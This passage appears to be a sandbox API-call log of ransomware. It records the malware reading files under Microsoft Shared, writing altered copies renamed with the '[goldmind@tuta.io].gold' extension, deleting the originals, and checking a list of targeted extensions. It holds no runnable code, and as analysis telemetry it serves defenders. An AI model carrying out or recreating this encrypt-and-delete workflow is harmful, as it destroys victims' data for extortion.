[0035.318] SetEndOfFile (hFile=0x188) returned 1 [0035.318] CloseHandle (hObject=0x188) returned 1 [0035.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0035.319] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 1 [0035.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.319] lstrlenW (lpString=".doc") returned 4 [0035.319] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0035.319] lstrlenW (lpString=".docx") returned 5 [0035.319] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0035.319] lstrlenW (lpString=".pdf") returned 4 [0035.319] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0035.319] lstrlenW (lpString=".xls") returned 4 [0035.319] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0035.319] lstrlenW (lpString=".xlsx") returned 5 [0035.319] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0035.319] lstrlenW (lpString=".ppt") returned 4 [0035.319] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0035.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.319] lstrlenW (lpString=".zip") returned 4 [0035.319] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0035.319] lstrlenW (lpString=".rar") returned 4 [0035.319] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0035.319] lstrlenW (lpString=".bz2") returned 4 [0035.319] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0035.319] lstrlenW (lpString=".7z") returned 3 [0035.319] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0035.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.319] lstrlenW (lpString=".dbf") returned 4 [0035.319] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0035.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.319] lstrlenW (lpString=".1cd") returned 4 [0035.319] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0035.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.319] lstrlenW (lpString=".jpg") returned 4 [0035.319] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0035.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.319] lstrlenW (lpString=".doc") returned 4 [0035.319] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0035.319] lstrlenW (lpString=".docx") returned 5 [0035.319] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0035.319] lstrlenW (lpString=".pdf") returned 4 [0035.319] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0035.320] lstrlenW (lpString=".xls") returned 4 [0035.320] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0035.320] lstrlenW (lpString=".xlsx") returned 5 [0035.320] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0035.320] lstrlenW (lpString=".ppt") returned 4 [0035.320] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0035.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.320] lstrlenW (lpString=".zip") returned 4 [0035.320] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0035.320] lstrlenW (lpString=".rar") returned 4 [0035.320] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0035.320] lstrlenW (lpString=".bz2") returned 4 [0035.320] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0035.320] lstrlenW (lpString=".7z") returned 3 [0035.320] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0035.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.320] lstrlenW (lpString=".dbf") returned 4 [0035.320] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0035.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.320] lstrlenW (lpString=".1cd") returned 4 [0035.320] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0035.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.320] lstrlenW (lpString=".jpg") returned 4 [0035.320] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0035.320] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0035.320] lstrlenW (lpString="MS.JPG") returned 6 [0035.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.321] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1061) returned 1 [0035.321] CloseHandle (hObject=0x188) returned 1 [0035.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0035.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.321] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.321] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.324] GetLastError () returned 0x0 [0035.324] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x425, lpOverlapped=0x0) returned 1 [0035.527] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x430, lpOverlapped=0x0) returned 1 [0035.537] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.537] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0035.537] SetEndOfFile (hFile=0x19c) returned 1 [0035.537] CloseHandle (hObject=0x19c) returned 1 [0035.538] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.538] SetEndOfFile (hFile=0x188) returned 1 [0035.539] CloseHandle (hObject=0x188) returned 1 [0035.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0035.539] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 1 [0035.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0035.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0035.539] lstrlenW (lpString=".doc") returned 4 [0035.539] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0035.539] lstrlenW (lpString=".docx") returned 5 [0035.539] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0035.539] lstrlenW (lpString=".pdf") returned 4 [0035.539] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0035.539] lstrlenW (lpString=".xls") returned 4 [0035.539] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0035.539] lstrlenW (lpString=".xlsx") returned 5 [0035.539] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0035.539] lstrlenW (lpString=".ppt") returned 4 [0035.539] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0035.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0035.539] lstrlenW (lpString=".zip") returned 4 [0035.539] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0035.539] lstrlenW (lpString=".rar") returned 4 [0035.539] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0035.539] lstrlenW (lpString=".bz2") returned 4 [0035.540] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0035.540] lstrlenW (lpString=".7z") returned 3 [0035.540] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0035.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0035.540] lstrlenW (lpString=".dbf") returned 4 [0035.540] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0035.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0035.540] lstrlenW (lpString=".1cd") returned 4 [0035.540] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0035.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0035.540] lstrlenW (lpString=".jpg") returned 4 [0035.540] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0035.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0035.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0035.540] lstrlenW (lpString=".doc") returned 4 [0035.540] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0035.540] lstrlenW (lpString=".docx") returned 5 [0035.540] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0035.540] lstrlenW (lpString=".pdf") returned 4 [0035.540] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0035.540] lstrlenW (lpString=".xls") returned 4 [0035.540] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0035.540] lstrlenW (lpString=".xlsx") returned 5 [0035.540] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0035.540] lstrlenW (lpString=".ppt") returned 4 [0035.540] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0035.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0035.540] lstrlenW (lpString=".zip") returned 4 [0035.540] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0035.540] lstrlenW (lpString=".rar") returned 4 [0035.540] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0035.540] lstrlenW (lpString=".bz2") returned 4 [0035.540] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0035.540] lstrlenW (lpString=".7z") returned 3 [0035.540] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0035.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0035.540] lstrlenW (lpString=".dbf") returned 4 [0035.540] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0035.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0035.540] lstrlenW (lpString=".1cd") returned 4 [0035.540] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0035.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0035.540] lstrlenW (lpString=".jpg") returned 4 [0035.540] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0035.541] Sleep (dwMilliseconds=0x64) [0035.814] Sleep (dwMilliseconds=0x64) [0036.107] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0036.107] lstrlenW (lpString="ipsrom.xml") returned 10 [0036.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.412] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=2644) returned 1 [0036.412] CloseHandle (hObject=0x1b0) returned 1 [0036.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0036.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0036.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.413] lstrlenW (lpString=".doc") returned 4 [0036.413] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.413] lstrlenW (lpString=".docx") returned 5 [0036.413] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0036.413] lstrlenW (lpString=".pdf") returned 4 [0036.413] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.413] lstrlenW (lpString=".xls") returned 4 [0036.413] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.413] lstrlenW (lpString=".xlsx") returned 5 [0036.413] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0036.413] lstrlenW (lpString=".ppt") returned 4 [0036.413] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.413] lstrlenW (lpString=".zip") returned 4 [0036.413] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.413] lstrlenW (lpString=".rar") returned 4 [0036.413] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.413] lstrlenW (lpString=".bz2") returned 4 [0036.413] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.413] lstrlenW (lpString=".7z") returned 3 [0036.413] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.413] lstrlenW (lpString=".dbf") returned 4 [0036.413] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.413] lstrlenW (lpString=".1cd") returned 4 [0036.413] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.413] lstrlenW (lpString=".jpg") returned 4 [0036.413] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.423] lstrlenW (lpString=".doc") returned 4 [0036.423] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.423] lstrlenW (lpString=".docx") returned 5 [0036.423] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0036.424] lstrlenW (lpString=".pdf") returned 4 [0036.424] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.424] lstrlenW (lpString=".xls") returned 4 [0036.424] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.424] lstrlenW (lpString=".xlsx") returned 5 [0036.424] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0036.424] lstrlenW (lpString=".ppt") returned 4 [0036.424] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.426] lstrlenW (lpString=".zip") returned 4 [0036.426] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.426] lstrlenW (lpString=".rar") returned 4 [0036.426] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.426] lstrlenW (lpString=".bz2") returned 4 [0036.426] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.426] lstrlenW (lpString=".7z") returned 3 [0036.426] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.426] lstrlenW (lpString=".dbf") returned 4 [0036.426] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.426] lstrlenW (lpString=".1cd") returned 4 [0036.426] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0036.426] lstrlenW (lpString=".jpg") returned 4 [0036.426] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.426] lstrcmpiW (lpString1=".HTM", lpString2=".gold") returned 1 [0036.426] lstrlenW (lpString="README.HTM") returned 10 [0036.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0036.752] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1941) returned 1 [0036.752] CloseHandle (hObject=0x1b4) returned 1 [0036.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 0x20 [0036.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0036.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0036.783] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.783] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0036.783] GetLastError () returned 0x0 [0036.783] ReadFile (in: hFile=0x1b4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x795, lpOverlapped=0x0) returned 1 [0036.785] WriteFile (in: hFile=0x1bc, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0036.785] ReadFile (in: hFile=0x1b4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.785] WriteFile (in: hFile=0x1bc, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0036.785] SetEndOfFile (hFile=0x1bc) returned 1 [0036.786] CloseHandle (hObject=0x1bc) returned 1 [0036.786] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.786] SetEndOfFile (hFile=0x1b4) returned 1 [0036.787] CloseHandle (hObject=0x1b4) returned 1 [0036.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0036.787] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 1 [0036.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0036.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0036.787] lstrlenW (lpString=".doc") returned 4 [0036.787] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0036.788] lstrlenW (lpString=".docx") returned 5 [0036.788] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0036.788] lstrlenW (lpString=".pdf") returned 4 [0036.788] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0036.788] lstrlenW (lpString=".xls") returned 4 [0036.788] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0036.788] lstrlenW (lpString=".xlsx") returned 5 [0036.788] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0036.788] lstrlenW (lpString=".ppt") returned 4 [0036.788] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0036.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0036.788] lstrlenW (lpString=".zip") returned 4 [0036.788] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0036.788] lstrlenW (lpString=".rar") returned 4 [0036.788] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0036.788] lstrlenW (lpString=".bz2") returned 4 [0036.788] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0036.788] lstrlenW (lpString=".7z") returned 3 [0036.788] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0036.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0036.788] lstrlenW (lpString=".dbf") returned 4 [0036.788] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0036.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0036.788] lstrlenW (lpString=".1cd") returned 4 [0036.788] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0036.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0036.788] lstrlenW (lpString=".jpg") returned 4 [0036.788] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0036.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0036.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0036.788] lstrlenW (lpString=".doc") returned 4 [0036.788] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0036.788] lstrlenW (lpString=".docx") returned 5 [0036.788] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0036.788] lstrlenW (lpString=".pdf") returned 4 [0036.788] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0036.788] lstrlenW (lpString=".xls") returned 4 [0036.788] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0036.788] lstrlenW (lpString=".xlsx") returned 5 [0036.788] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0036.788] lstrlenW (lpString=".ppt") returned 4 [0036.788] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0036.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0036.788] lstrlenW (lpString=".zip") returned 4 